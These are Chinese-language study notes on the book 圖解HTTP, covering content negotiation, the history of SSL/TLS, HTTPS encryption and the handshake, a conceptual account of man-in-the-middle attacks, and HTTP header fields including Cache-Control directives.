常見的壓縮方式是下面幾種,其中gzip是圖片經常使用的壓縮方式:

  • gzip(GNU zip)`
  • compress(UNIX 系統的標準壓縮)
  • deflate(zlib)
  • identity(不進行編碼)

壓縮傳輸是有代價的,因為這個操作需要計算機完成,所以會增加伺服器的工作量,不過這一點開銷完全可以接受。

分塊傳輸編碼

實體主體分塊的功能稱為分塊傳輸編碼(Chunked TransferCoding),分塊傳輸指的是傳輸編碼會將實體內容拆分為多個塊(chunck),也就是前文提到的Transfer-Encoding: chunked

需要注意在負載主體的最後一塊會使用“0(CR+LF)”來標記塊的大小。

多資料多物件集合

多資料多物件集主要包含如下內容:

  • mulitpart/form-data:在 Web 表單檔案上傳時使用;
  • mulitpart/byteranges:狀態碼 206(Partial Content,部分內容)響應報文包含了多個範圍的內容時使用;

需要使用多資料多物件集合,需要在HTTP中指定Content-Type 首部欄位。

enctype 屬性

多資料多物件集合的一個代表屬性,主要的作用是告知伺服器自己將會傳輸什麼型別的資料。

最常見的多部分物件集合的實際應用就是使用 HTML 表單傳送檔案。檔案是二進位制資料(或被視為二進位制資料),而所有其他資料都是文字資料。由於 HTTP 是一種文字協議,因此對處理二進位制資料有特殊要求。

3.3 內容協商

內容協商比較典型的案例是國際化,內容協商有點類似轉譯,伺服器和客戶端之間需要協商出一種最為合適的“中間”語言進行交流,然後按照字符集和編碼格式進行互動。

基準和判斷的基準是下面這幾個首部欄位的資訊:

Accept
Accept-Charset
Accept-Encoding
Accept-Language
Content-Language

比如下面的維基在請求請求首部中就用到了這些資訊。

content-encoding: gzip
content-language: zh
content-length: 17396
accept-ch: Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version

3.3.1 內容協商方式

內容協商的基本準則如下:

  1. 依靠客戶端設定HTTP首部(也叫服務驅動內容協商或者說主動協商),內容協商最為標準的方式。
  2. 伺服器返回300或406,代理驅動方式或者響應協商機制。

伺服器驅動協商(Server-driven Negotiation)

由伺服器端進行內容協商。服務端協商中客戶端請求隨同URL會傳送一份訊息頭表明自己的傾向性,伺服器按照這個傾向性選擇合適的資源返回。

伺服器驅動的優點是充分利用HTTP協議規範減少額外的行為,因為是內容協商而不是格式協商,決定權實際上還是在服務端這一邊。

當然這樣的優點導致的代價是服務端的複雜性增加,因為需要“猜測”客戶端的資訊,同時可能會導致客戶端傳送報文越來越複雜。

客戶端驅動協商(Agent-driven Negotiation)

由客戶端進行內容協商的方式,使用者協商類似使用者選擇瀏覽器的型別自動進行切換。

注意客戶端驅動如果服務端不能回應客戶端的請求,會退化為 伺服器驅動協商,客戶端驅動為了獲取自己想要的內容需要 第二次傳送請求(第一次獲取列表,第二次才是得到資源),可見客戶端的驅動模式並不是一種常用的方式。

代理驅動型內容協商機制

針對透明代理的改良方案,代理驅動主要是解決服務端協商的比較顯著的痛點:規模化問題。

所謂的規模化問題指的當服務端請求出現大量資源並且需要新增首部情況下,會出現請求體積膨脹並且精確資訊的傳送也帶來資訊洩露問題。

注意代理驅動和透明代理存在一定區別,它使用了HTTP協議自建立依賴就支援又稱為響應代理機制的東西,這種機制也是和客戶端驅動協商類似,返回資源列表給使用者進行選擇然後需要第二次請求獲取需要的資源。而透明代理借用了 Vary首部完成協議相容,有點類似“旁外招”。

所以代理驅動雖然減輕了服務端和客戶端形成“中間商”參考的模式,但是也避免不了第二次請求的問題。

透明協商(Transparent Negotiation)

透明代理被代理驅動型內容協商機制取代。

透明協商機制試圖從伺服器上去除伺服器驅動協商所需的負載,並用中間代理來代表客戶端以使與客戶端的報文交換最小化。

這是伺服器驅動和客戶端驅動的結合體,是由伺服器端和客戶端各自進行內容協商的一種方法。但是因為後續歷史沒被認可所以被遺棄。

透明協商在HTTP並沒有提供相應的規範,所以HTTP/1.1規範中沒有定義任何透明協商機制,但定義了Vary首部,所以透明代理主要使用了Vary這個額外的欄位完成協議相容。

Vary 響應首部是什麼? 在HTTP1.1協議中被新增,是透過伺服器響應給客戶端協商內容的時候一併返回的,服務端最終使用了那個首部清單。 最大的受益者不是客戶端反倒是快取伺服器,快取伺服器檢查發現Vary欄位之後啟用透明協商機制委託傳輸。

快取伺服器是啥?請看這篇文章[[《網路是怎麼樣連線的》讀書筆記 - 彙總篇]]中關於負載均衡概念的介紹。

Alternates 首部

同樣沒受到認可被遺棄。網上都搜不到啥資料,忽略即可。

3.4 小結

上面介紹了眾多的 內容協商方式,實際上仔細觀察現在的網站會發現伺服器驅動協商代理驅動型內容協商機制為主。

前者是WEB服務提供商可以根據使用者的請求推送喜歡的內容,並且不需要二次傳送請求節省頻寬,適合絕大多數WEB使用者,當然使用者體驗取決於服務端應用程式開發者的水平。

代理驅動型內容協商機制則多用於支援國際化的網站,比如一些大商城或者百科等,比較典型的比如Apple和維基百科等這些網站,提供了“建議”選項詢問使用者選擇哪種語言進行瀏覽。

而客戶端代理主動權掌握在使用者手上,服務端無法把控的同時不利於商業推廣,所以大部分WEB網站會“遮蔽”這種方式,另一方面代理驅動能減輕伺服器壓力同時相容了客戶端驅動的特點,所以被代理驅動取代也十分正常。

最後是透明代理,透明代理使用的“旁門左路”的自定義的協議不怎麼通用的,所以被淘汰以及被代理驅動取代也很正常。

tjhttp 八、《圖解HTTP》 - HTTPS

知識點

  1. HTTPS 是什麼?HTTP有哪些缺點?
  2. SSL、TLS為啥總是被放到一起,有什麼區別?
  3. SSL、TLS歷史背景。
  4. SSL的加密細節,加密演算法瞭解。
  5. SSL的加密流程。

HTTP缺點

  1. 明文通訊,內容容易被竊聽。
  2. 無身份驗證,容易受到偽裝請求攻擊。
  3. 無法驗證報文完整,無法防篡改。

除了協議本身的漏洞之外,一些程式語言也可能編寫出不安全的網路應用程式。

明文竊聽

既然HTTP是不加密通訊的,那麼自然會好奇它是如何被竊聽的。

所謂的竊聽是因為TCP/IP模型的物理層、資料鏈路層、網路層這幾層所需要的裝置支援都不可能是個人使用者所具備的東西,所以在這幾個環節進行通訊竊聽是完全有可能的。

整個竊聽的過程如下圖,在網路資訊透過網路卡發出去的那一刻,網路包中間被“加工”的可能性就會急劇增加。這樣的情況就好比一個快遞從站點發出去的一刻,就有可能出現各種各樣的情況。

此外加密通訊並不是保證資訊不被竊聽,而是在竊聽方拿到網路包之後無法破解明文資訊內容,這樣“加密”的特性就算是達到了。

明文竊聽

常見的竊聽方式比如WireShark,可以對於請求進行抓包處理。

如何防止竊聽

防止明文竊聽透過加密進行保護處理的方式有兩種:

  • 通訊加密:

    • SSL(Secure Socket Layer,安全套接層),也就是HTTPS裡面的S,實現方式是在HTTP的基礎上組合使用SSL通訊。
    • TLS(Transport Layer Security,安全層傳輸協議)致力於替代SSL協議,是目前的主流協議(SSL已在2015年遭到廢棄)。
  • 內容加密:

    • 在傳輸之前對於內容明文按照某種特定規則加密,比如最常見的OAuth2。

無身份驗證

無身份驗證體現在下面幾個方面:

  • 人人都可以傳送請求
  • 無法確認響應的伺服器是否真實。
  • 無法確認傳送請求的客戶端是否真實。
  • 無法驗證傳送方是否符合許可權。
  • 無法判定請求來源。
  • 無法阻止無意義攻擊(Ddos攻擊)。

進行身份驗證

SSL/TLS 需要透過第三方符合資質的機構進行數字認證,能獲得這一機構認證本身就是十分麻煩的事情,所以通常頒發認證證照的伺服器基本都可以獲得加密保障,同時確認請求方的證照能有效的控制請求來源,對於客戶端也能清楚請求的對方是合法安全的。

無法驗證報文完整

請求在傳輸和響應的過程中遭到攔截並且篡改攻擊的手段叫做中間人攻擊(Man-in-the-Middle attack,MITM),在許多情況下這是很簡單的(例如,在一個未加密的Wi-Fi 無線接入點的接受範圍內的中間人攻擊者,可以將自己作為一箇中間人插入這個網路)。

一箇中間人攻擊能成功的前提條件是攻擊者能將自己偽裝成每一個參與會話的終端,並且不被其他終端識破。中間人攻擊是一個(缺乏)相互認證的攻擊

如何防止篡改

針對中間人攻擊,HTTP通常使用 MD5SHA-1 等雜湊值校驗的方法,以及用來確認檔案的數字簽名方法提高安全性。此外Web 網站也會提供相應的以 PGP(Pretty Good Privacy,完美隱私) 建立的數字簽名及 MD5 演算法生成的雜湊值。

但是這些手段依然無法完全保證PGP不會被篡改,HTTP本身的可靠保證過於缺乏 。

SSL協議可以驗證參與通訊的一方或雙方使用的證照,校驗是否是由權威的受信任的數字證照認證機構頒發,並且能執行雙向身份認證。

PGP 是用來證明建立檔案的數字簽名,MD5 是由單向函式生成的雜湊值。

以上內容便是HTTP本身暴露的許多缺陷導致的資訊洩漏問題,也是為什麼要引入SSL/TLS 協議來強化HTTP的協議的幾個理由。下面我們來聊聊SSL/TLS的歷史。

SSL/TLS 歷史

現在我們討論的SSL實際上是TLS,因為SSL協議本身的各種問題早已經被廢棄了,目前主流的SSL實際上使用的是TLS的協議規範。

但是因為SSL被廣為流傳,結合歷史原因,所以依然沿用這樣的說法並不會產生歧義。

接著我們得明白HTTP+ 加密 + 認證 + 完整性保護=HTTPS這個HTTPS的含義。

SSL/TLS 也是類似Cookie和Session一樣,在不干擾協議本身運作的情況下對於HTTP協議本身進行保護和增強。

使用HTTPS請求之後,在瀏覽器輸入地址的時候需要將原本的HTTP轉化為HTTPS。

無論是OSI 七層模型還是TCP/IP模型,都為每個通訊層的職責劃分了明確的界限,HTTP是依賴TCP進行資料傳輸的,但是TCP為了保證單一職責和高效不會搭理HTTP的安全請求(本身也沒有),他只負責資料包的收發,所以TCP是不能隨便動的。而HTTP同樣歷史發展悠久,也難以在短時間內對於協議修訂和增強。

可以看到,HTTP 是應用層協議,TCP是傳輸層協議,HTTP依賴TCP完成資料傳輸,所以 SSL/TLS 肯定是在應用層或者佔據著傳輸層?

傳輸層必不可能,因為無法HTTP相容,放到應用層這一說法其實也不完全準確。實際上SSL在TCP和HTTP的中間,類似處在兩個應用的夾層裡面,也就是所謂的架構難題的絕招 -- 遇事不決加一層。(因為干涉任意一層都引出更多的問題)。

中間夾層不知道為什麼讓我想到了《駭客帝國3》的那個車站。

SSL協議

明白了SSL/TLS 所處位置,我們繼續瞭解SSL/TLS 的歷史。

在許多參考資料中很多時候我們一會兒看到SSL的描述,一會兒看到TLS的描述,首先得再分清兩者本身的定義。

如書中所言:

  • SSL(Secure Socket Layer,安全套接層)
  • TLS(Transport Layer Security,安全層傳輸協議)

看似是協議和“偽通訊層”的東西兩個不同的東西,實際上SSL是TLS的前身,或者說TLS出現的本意就是為了替換SSL而出現的“競品”。

SSL最早出現,出道即拉胯。隨著歷史發展發現SSL總是存在這樣那樣的缺點被人詬病。TLS乘勝追擊逐漸取代SSL,到了目前最新的版本是TLS1.3(已經有了一半左右的普及度)。

這裡參考維基百科的介紹,大致介紹TLS/SSL 的歷史。

SSL 1.0、2.0和3.0

  • SSL1.0 從來沒有釋出過,因為存在巨大的安全漏洞和隱患。
  • 2.0版本在1995年2月釋出後,很快被發現包含許多安全和可用性缺陷。SSL 2.0 在 2011 年被 RFC "RFC (identifier)") 6176 棄用。另外SSL 2.0假設只有一個服務和一個固定域證照,這與Web伺服器中廣泛使用的虛擬主機功能相沖突,因此大多數網站實際上都因使用SSL而受到損害。

    棄用原因:
    • 訊息認證使用 MD5 。 有安全意識的使用者已經不再使用 MD5 [RFC6151]。
    • 握手訊息不受保護。
    • 訊息完整性和訊息加密使用相同的金鑰,即如果客戶端和伺服器協商弱加密,則會出現問題。
    • 會話可以輕鬆終止。 中間人可以輕鬆插入 TCP FIN 關閉會話,對端無法確定這是否是會話的合法結束。
  • SSL版本3.0.17 15 1996年釋出,它由Paul Kocher與Netscape工程師Phil Karlton和Alan Freier合作製作,並由Christopher Allen和Tim Dierks設計的Consension Development參考實現。
  • 2014年,SSL 3.0被發現容易受到影響SSL中所有塊密碼的POODLE攻擊。RC4 是 SSL 3.0 支援的唯一非塊密碼,在 SSL 3.0.18 SSL 3.0 中使用時也可能被破解。
  • RFC 7568 - Deprecating Secure Sockets Layer Version 3.0 (ietf.org)2015 年 6 月棄用SSL3。

所以SSL1.0到3.0都是比較坑的玩意兒,難怪會全面轉向TLS,在2018年,谷歌、微軟、蘋果同時宣告廢棄TLS1.1、TLS1.0的使用,目前有99% 的伺服器支援 TLS 1.2,基本已經完成TLS全面普及。

TLS

TLS 並不是在SSL出現問題之後才出現的,而是在SSL3.0出現之後開始修訂。

  • TLS 1.0 於 1999 年 1 月在 RFC 2246 - The TLS Protocol Version 1.0 (ietf.org) 中首次定義為 SSL 版本 3.0 的升級。
  • TLS 1.1 TLS 1.1 於 2006 年 4 月在 RFC 4346 - The Transport Layer Security (TLS) Protocol Version 1.1 (ietf.org) 中定義,重要的改進點如下:

    • 增加了對密碼塊連結 (CBC) 攻擊的保護。
    • 隱式初始化向量 (IV) 被顯式 IV 取代。
    • 更改填充錯誤的處理方式。支援 IANA 引數註冊。
  • TLS 1.2 於 2008 年 8 月在 RFC "RFC (identifier)") 5246 中定義。它基於TLS1.1 進行了下面的升級。

    • 偽隨機函式 (PRF) 中的 MD5–SHA-1 SHA-256 取代,並帶有使用密碼套件指定 PRF 的選項。
    • 完成的訊息雜湊中的 MD5–SHA-1 函式被 SHA-256 替換,並帶有使用特定於密碼套件的雜湊演算法的選項。但是完成的訊息中的雜湊大小仍限制必須至少為 96 位。
    • 數字簽名元素中的 MD5–SHA-1 被替換為握手期間協商的單個雜湊,預設為 SHA-1
    • 增強了客戶端和伺服器指定它們接受哪些雜湊和簽名演算法的能力。
    • 擴充套件了對經過身份驗證的加密密碼的支援,主要用於高階加密標準 (AES) 加密的伽羅瓦/計數器模式 (GCM) 和 CCM 模式。
  • TLS 1.3 於 2018 年 8 月在 RFC 8446 - The Transport Layer Security (TLS) Protocol Version 1.3 (ietf.org) 中定義。它基於早期的 TLS 1.2 規範。與TLS 1.2的主要區別包括:

    • 將金鑰協議和身份驗證演算法與密碼套件分離。
    • 刪除對弱橢圓曲線和較少使用的命名橢圓曲線的支援。
    • 刪除對 MD5SHA-224 加密雜湊函式的支援。
    • 即使使用以前的配置,也需要數字簽名。
    • 整合HKDF及半瞬時DH建議。
    • 用 PSK 和門票替換恢復。
    • 支援 1-RTT 握手和對 0-RTT 的初始支援。(和 QUIC 有關)。
    • 透過在 (EC)DH 金鑰協議期間使用臨時金鑰來強制實現完全的前向保密。
    • 放棄對許多不安全或過時功能的支援,包括壓縮、重新協商、非 AEAD 密碼、非 PFS 金鑰交換(其中包括靜態 RSA 和靜態 DH 金鑰交換)、自定義 DHE 組、EC 點格式協商、更改密碼規範協議、Hello 訊息 UNIX 時間以及長度欄位 AD 輸入到 AEAD 密碼。
    • 禁止 SSL 或 RC4 協商以實現向後相容性。
    • 整合會話雜湊的使用。
    • 棄用記錄層版本號並凍結該編號以提高向後相容性。
    • 將一些與安全相關的演算法詳細資訊從附錄移動到規範,並將 ClientKeyShare 降級到附錄。
    • 新增帶有 Poly1305 訊息身份驗證程式碼的 ChaCha20 流密碼。
    • 新增 Ed25519 和 Ed448 數字簽名演算法。
    • 新增 x25519 和 x448 金鑰交換協議。
    • 新增對傳送多個 OCSP 響應的支援。
    • 加密伺服器後的所有握手訊息。
許多材料會把TLS/SSL 的SSL放在後面,目的是考慮TLS是目前的主流,放在前面是較為合適的。

所以用現在的眼光看其實SSL早就已經被禁止了,目前主流的HTTP加密傳輸是基於TLS實現的。此外維基百科上有幾張圖介紹TLS對比SSL的優勢,可以較為直觀展示兩者的優缺點。

演算法

相容性

密碼

密碼

資料完整性

資料完整性

網站支援

此外,根據2022年的資料顯示,TLS1.3 的覆蓋率和 HTTP2.0差不多,但是TLS1.2 經過這幾年普及基本全方位支援。

網站支援

TLS/SSL 工作機制

在瞭解SSL細節之前,我們需要先講解加密方法:公開金鑰加密共享金鑰加密

共享/公開金鑰加密

共享金鑰加密加密是通訊雙方持有同一把鑰匙加解密資訊,所以這種加密方式也叫做對稱金鑰加密或者共享金鑰加密

共享金鑰加密

共享金鑰最大的問題是鑰匙傳輸給對方的過程中有可能遭到劫持,一旦傳輸金鑰遭到劫持,共享金鑰加密的方式就相當於作廢了。

中間人攻擊只需要拿到金鑰,雙方傳輸加密報文的時候攔截請求資料並且偽造自己的資料,就可以同時“剽竊”雙方向的敏感資訊。

為了處理這個問題,需要使用公開金鑰加密對於共享金鑰加密對加密方式進行了改進。

改進方式很簡單那就是把鑰匙換成一把只能用於加密,這把鑰匙可以公開對外使用,而另一把只能用於解密,只有服務端的私鑰可以解開公開金鑰加密的資訊,外部無法透過公鑰破解。

如果能在短時間內快速的進行因式分解,那麼全世界所有的密碼都是透明的。
有時候解密不一定是無法破解,而是破解的代價在現實上“不可能”,比如需要花費上千年的時間破解一串密碼,等到破解那時候。。。。可能被破解的資源都沒了。

公開金鑰加密的最大特點是加密和解密的鑰匙並不是同一把,兩邊對於密文的加解密方式不一樣,所以這樣的加密方式也別叫做 非對稱金鑰加密

公開金鑰加密

混合加密

HTTPS並不是完全使用公開金鑰加密或者共享金鑰加密,而是透過兩種加密混合的方式進一步提升安全。

共享金鑰的問題在於金鑰洩露的安全性問題,而公開金鑰加密因為加解密的鑰匙不是同一把,需要花費更多的操作運算和驗證。

HTTPS在設計的過程中基於安全和速度的考慮,最終的決定是在連線握手的過程中使用非對稱金鑰加密確保安全,在伺服器非對稱加密驗證透過之後,會返回稍後需要共享對稱加密的金鑰資訊。在握手完成之後,在確保安全的前提之下, 使用對稱加密的金鑰進行共享對稱加密的資訊互動。

需要注意這裡提到的加密認證是單向認證,也就是說只會驗證服務端的真實可靠性,服務端無法準確保證客戶端是可靠的(但是可以確保傳輸是安全的)。

客戶端認證只在特殊的服務上會用到,大部分服務更多使用服務端單向認證,因為多數服務就是設計給所有人都可以訪問的。

HTTPS混合加密

數字證照加密

混合加密的方式看起來很靠譜和安全,但實際上依然存在問題,那就是無法證明公開金鑰本身的真實性,為了理解這一點我們可以回顧共享金鑰加密的描述圖,在其中展示了攻擊者在金鑰傳輸的過程中盜取共享金鑰的行為。

如果把這一行為替換為盜取公開金鑰,則可以在客戶端請求的時候劫持替換為攻擊者自己的非對稱加密金鑰,之後的共享加密同樣也是,可以被輕易獲取。

具體的攻擊過程如下:

  1. 服務端在數字證照認證成功之後,和客戶端進行公開金鑰加密認證,此時中間人擷取到公開金鑰,偽造出自己的公鑰(同時擁有自己的私鑰)以及用於共享之後傳給SSL認證的客戶端。
  2. 客戶端拿到被替換的服務端公鑰認證,將共享加密的金鑰透過偽造的金鑰加密之後,回傳給服務端。
  3. 中間人繼續劫持掉客戶端請求,透過自己的私鑰解密之後,用自己偽造的共享加密金鑰,利用上一次服務端傳遞的真實公鑰,加密之後傳給服務端。
  4. 服務端拿到被加密的假的的共享金鑰之後,解密獲得中間人的共享加密金鑰。
  5. 原本

在這樣的攻擊手段之下,為了保證客戶端請求的伺服器的真實性,採用第三方權威機構認證是合理的。

CA證照

為了解決這個問題,所採用的方式是透過第三方機構數字認證機構(CA,Certificate Authority),加入CA之後整個驗證過程如下:

  • 服務端運營請求資料認證機構申請公開金鑰,數字機構驗證請求者的數字認證資訊,然後分配給已經簽名的金鑰,然後把公開金鑰放入到公鑰證照繫結一起返回。
  • 伺服器將頒發的數字認證機構的公鑰證照發給客戶端,使用公開金鑰加密通訊。這一步也叫數字認證機構傳遞證照
  • 客戶端使用數字證照認證公開金鑰,對於數字簽名認證,認證透過可以獲取兩個資訊

    • 認證伺服器的公開金鑰的數字認證機構是否合法真實。
    • 被認證的伺服器公開金鑰是否真實。

注意認證機關的公開金鑰必須安全傳給客戶端,否則哪怕是數字認證本身還是有可能被篡改。為了規避這一個問題,許多瀏覽器會在安裝的時候認證機構的公開金鑰。

但是瀏覽器自帶證照也有安全隱患,那就是數字認證機構遭到入侵後果不堪設想,歷史上也真發生過類似事件。

CA證照

EVSSL證照

證照的作用是保證服務端的公開金鑰的真實性,也可以驗證伺服器是否真實存在。

EV SSL 證照是基於國際標準的認證指導方針頒發的證照。主要的作用是提高網站的認可度。

有時候瀏覽器如果帶HTTPS會出現綠色打勾的字樣,這樣做是提醒使用者網站合法性。

客戶端證照

客戶端證照通常會出現在安全性要求極高的特殊業務當中,同時客戶端本身需要支援SSL證照的開銷,但是SSL的客戶端證照只能證明請求的機器是沒有問題的,但是無法保證

機構信譽

作為數字認證的機構一旦出現問題後果不堪設想,在過去曾經出現過數字認機構被駭客破解的情況,其對於SSL的公信力是一次巨大打擊,

OpenSSL

OpenSSL 是可以讓使用者自己構建一套認證機構的開源程式,但是僅能作為本地使用。

如果出現外部訪問,瀏覽器會提示“無效證照”等內容。

OpenSSL

HTTPS的通訊步驟

下面依照SSL的的互動步驟介紹HTTPS的通訊過程。

這部分內容在[[《圖解HTTP》- 使用者身份認證]]裡面的SSL流程一致,但是對於細節做了進一步擴充套件。

HTTPS的通訊步驟

第一次握手:確認支援SSL

  1. 客戶端傳送Client Hello 開始SSL通訊,HandShake 就是握手的意思,報文中指定SSL版本和加密元件(加密演算法和金鑰長度等)。伺服器支援SSL通訊,返回Server Hello 應答,報文加入SSL的版本以及加密資訊。伺服器的加密元件需要根據客戶端支援的加密通訊方式篩選。

    • Version: 客戶端支援的TLS協議版本
    • Random: 客戶端生成的隨機數,隨後用於生成 master secret
    • SessionID: 會話 ID,如果不為空,表示客戶端想重用該會話
    • CipherSuites: 客戶端支援的加密套件列表,在 SessionID 為空時必須攜帶
    • CompressionMethods: 客戶端支援的壓縮演算法列表
    • Extensions: 擴充套件內容

第二次握手:服務端證照驗證

  1. 接收到客戶端SSL版本以及加密元件資訊,伺服器支援SSL通訊如果則返回Server Hello 應答。
  2. 伺服器傳送 Certificate 報文,報文包含公開金鑰證照,證照必須是 x.509 標準格式,包含服務端公鑰、服務端域名、簽發方資訊、有效期等資訊。
  3. 伺服器傳送Server Hello Done表示SSL最初的握手協商已經結束。

第三次握手:客戶端確認

  1. 客戶端按照Client Key Exchange 回應,這個報文會在通訊加密中使用Pre-mastersecret的隨機串,這個隨機串第一步部分的第三個步驟已經偷偷完成加密了。
  2. 客戶端繼續傳送 Change Cipher Spec 報文,告知伺服器後續使用Pre-master secret 金鑰加密通訊(共享對稱加密)。
  3. 客戶端傳送 Finished 報文。在這個報文中包含整個報文回應的校驗和,客戶端確認是否完成要根據伺服器能否認識這一段加密報文為主。

第四次握手:服務端確認

  1. 伺服器同樣傳送 Change Cipher Spec 報文,表示自己認識客戶端的加密資訊。
  2. 伺服器同樣傳送 Finished 報文,SSL連線建立完成。

至此SSL連線建立完成,通訊將會受到協商好的共享金鑰加密保護,應用層開始進行通訊。應用層通訊,服務端進行響應。

斷開連線

  1. 客戶端主動斷開連結。斷開連線會傳送 close_notify 的報文。之後傳送 TCP FIN 報文關閉通訊。

注意在整個SSL四次握手的過程中,應用層傳送資料時會附加一種叫做 MAC(Message Authentication Code)的報文摘要。MAC 能夠查知報文是否遭到篡改,從而保護報文的完整性。

最後是書中給的一幅圖,瞭解整個加密過程(個人感覺畫的一般,有點亂)

HTTPS通訊

CBC 模式(Cipher Block Chaining)又名密碼分組連結模式。此模式會把一個明文模組加密處理之後的下一個明文進行XOR運算。重疊之後對於運算結果進行加密處理。
對於第一個明文進行加密之後,

最後是IETF 關於TLS協議原文的握手步驟,看起來比較抽象,但是實際上算是最權威的互動資訊了,圖片展示是TLS1.2的協議原文內容:

除開最後一次的資料互動之外,服務端和客戶端需要四次握手才能完成。

也就是說從TCP連線到SSL連線完成,一共需要9次握手才能最終建立一個安全連線,所以其效率可想而知。

為什麼不全用HTTPS

  • 純文字通訊對比的加密通訊消耗更多資源
  • 非敏感的HTTPS使用意義和價值不大
  • 購買證照的開銷和成本。CA證照購買開銷不菲,但是對於現在的很多伺服器來說是一筆必要開支,雖然有時候非常不合算。

tjhttp 七、《圖解HTTP》- HTTP首部和HTTP協作伺服器

7-1. HTTP首部

雖然平時感受不到,但是卻是網際網路天天在用的東西,這本書花了50多頁的內容介紹它,可見它的重要性。

HTTP 首部包含三個部分,報文首部,空行和報文主體,報文首部包含了客戶端重要的傳輸資訊,而報文體則是“負荷資料”,包含獲取伺服器資訊需要傳遞的資料。

首部組成

HTTP 報文由方法、URI、HTTP 版本、HTTP 首部欄位等部分構成。

HTTP 報文

下面是請求報文的案例資訊:

GET / HTTP/1.1
Host: hackr.jp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8
Accept-Language: ja,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
If-Modified-Since: Fri, 31 Aug 2007 02:02:20 GMT
If-None-Match: "45bae1-16a-46d776ac"
Cache-Control: max-age=0

響應報文結構如下:

image-20220804143700622

響應報文內容:

HTTP/1.1 304 Not Modified
Date: Thu, 07 Jun 2012 07:21:36 GMT
Server: Apache
Connection: close
Etag: "45bae1-16a-46d776ac"

7.0 首部欄位介紹

首部欄位是HTTP的重要組成部分。

HTTP 首部欄位結構

首部欄位由key/value的欄位名和欄位值組成,透過冒號進行分隔,欄位值可以是單個值,也可以是多個值,對於多個值會使用逗號進行分隔。

如果首部欄位出現重疊怎麼辦?在規範當中並沒有進行明確規定,取決於瀏覽器和實現方是如何處理的,比如有些瀏覽器會優先處理第一次出現的首部欄位,而有些則會優先處理最後出現的首部欄位。

首部欄位分類

  • 通用首部欄位(General Header Fields):請求和響應通用首部。
  • 請求首部欄位(Request Header Fields):從客戶端向伺服器端傳送請求報文時使用的首部。
  • 響應首部欄位(Response Header Fields):從伺服器端向客戶端返回響應報文時使用的首部。
  • 負載(實體)首部欄位(Entity Header Fields):在負載的部分使用的首部資訊,客戶端和服務端都有可能存在。

HTTP/1.1 首部欄位

下面是幾張關於首部欄位的表,包首部欄位分類對應的四個分類:

通用首部欄位

通用首部欄位

請求首部欄位

請求首部欄位

響應首部欄位

響應首部欄位

負載首部欄位

負載首部欄位

7.1 非 HTTP/1.1 首部欄位

在HTTP協議通訊中使用的首部欄位除了上面定義的之外,非正式的首部欄位統一歸納在 RFC4229 HTTP Header Field Registrations 中,感興趣可以直接進網頁看看相關的白皮書資訊。

快取代理行為

快取代理行為透過兩個欄位:端到端首部(End-to-end Header)逐跳首部(Hop-by-hop Header)

對於第一個端到端首部(End-to-end Header)會轉發請求和響應資訊給最終目標並且必須存在於由快取生成的響應,要求是同時必須被轉發。

第二個逐跳首部(Hop-by-hop Header)則只對單次轉發有效,如果透過了快取或者代理則不會進行轉發。另外使用逐跳首部需提供 Connection 首部欄位需要包含下面的內容:

Connection
Keep-Alive
Proxy-Authenticate
Proxy-Authorization
Trailer
TE
Transfer-Encoding
Upgrade

7.2通用首部欄位

通用首部欄位資訊包含下面的內容:

7.2.1 Cache-Control

顧名思義,用於操作快取的首部欄位,案例Cache-Control: private, max-age=0, no-cache,快取首部欄位基本存在下面的值,需要指定最大響應age和快取最大的有效時間,防止快取過久有效和過短失效。

快取請求指令表響應指令參考表如下:

快取請求指令

響應指令

public 指令(Cache-Control: public)

Cache-Control: public,這樣的首部宣告表明其他的使用者也可以使用這份快取,意味著這是公用的快取資訊。

private 指令(Cache-Control: private)

Cache-Control: private 和public命令正好相反,只能給特定使用者作為物件,快取伺服器會為特定的使用者快取資料,其他使用者則沒用此行為。

no-cache 指令(Cache-Control: no-cache)

目的是為了防止從快取中返回過期的資源。表示每次請求將不會接受快取過的資料,如果請求中攜帶這個指令表明返回的內容不能是快取過的資料。

注意⚠️:從字面意思上很容易把 no-cache 誤解成為不快取,但事實上 no-cache 代表不快取過期的資源,快取會向源伺服器進行有效期確認後處理資源。

Cache-Control: no-cache=Location

如果在cache-Control當中指定具體的引數值,則客戶端接收到這個被指定引數值的首部對應報文之後就不能快取,這個指令的區別是由伺服器指定客戶端不允許進行快取操作。

控制可執行快取的物件的指令

no-store 指令(Cache-Control: no-store)

​ 表示請求或者響應有機密資訊。該指令規定快取不能在本地儲存請求或響應的任一部分。

s-maxage 指令(Cache-Control: s-maxage=604800(單位 :秒)

​ 和max-age指令相同,它們的不同點是 s-maxage 指令只適用於供多位使用者使用的公共快取伺服器,同一個使用者重複返回響應此欄位是無效的。

注意⚠️:使用s-maxage之後會忽略Expire欄位。

max-age 指令

​ 客戶端:指定接受最大快取時間的資源,高於該時間的資源不接受快取資料,如果為0則表示每次都需要請求源伺服器。

max-stale 指令(Cache-Control: max-stale=3600(單位:秒))

​ max-stale 指示快取資源,過期也要照常接受。如果指令沒有指定引數值,客戶端會接收響應。如果指定引數即使過期,只要處於這個指定值之內依然可以被客戶端接收。

only-if-cached 指令(Cache-Control: only-if-cached)

​ 表示只在快取伺服器上獲取目標伺服器被快取的資源,如果快取伺服器也沒有資料則返回504狀態碼

504 閘道器超時:伺服器充當閘道器或者代理的時候,沒有收到響應。和408的區別是408是服務端接受客戶端超時,504是代理接收服務端超時。

must-revalidate 指令(Cache-Control: must-revalidate)

​ 表示代理會向源伺服器再次驗證即將返回的響應快取目前是否仍然有效,如果是無效的,要求快取伺服器返回504的狀態碼。

注意⚠️:must-revalidate 指令會忽略請求的 max-stale 指令。

proxy-revalidate 指令(Cache-Control: proxy-revalidate)

​ 要求所有快取伺服器收到客戶端帶有指令的請求返回響應之前驗證快取有效性。

no-transform 指令(Cache-Control: no-transform)

​ 請求和響應不能接受改變負載的媒體型別。

Cache-Control 擴充套件 cache-extension token Cache-Control: private, community="UCI" 這種寫法表示透過token標記擴充套件改首部欄位的命令, 比如community這個指令是不存在的,但是透過這樣的擴充套件實現相容。但是這種相容只能是理解它的快取伺服器才會回應,其他的快取伺服器會直接忽略掉。

7.2.2 Connection

這個首部欄位的作用如下:

  • 控制不轉發給代理的首部欄位。
  • 管理持久連線。

控制不再轉發給代理的欄位

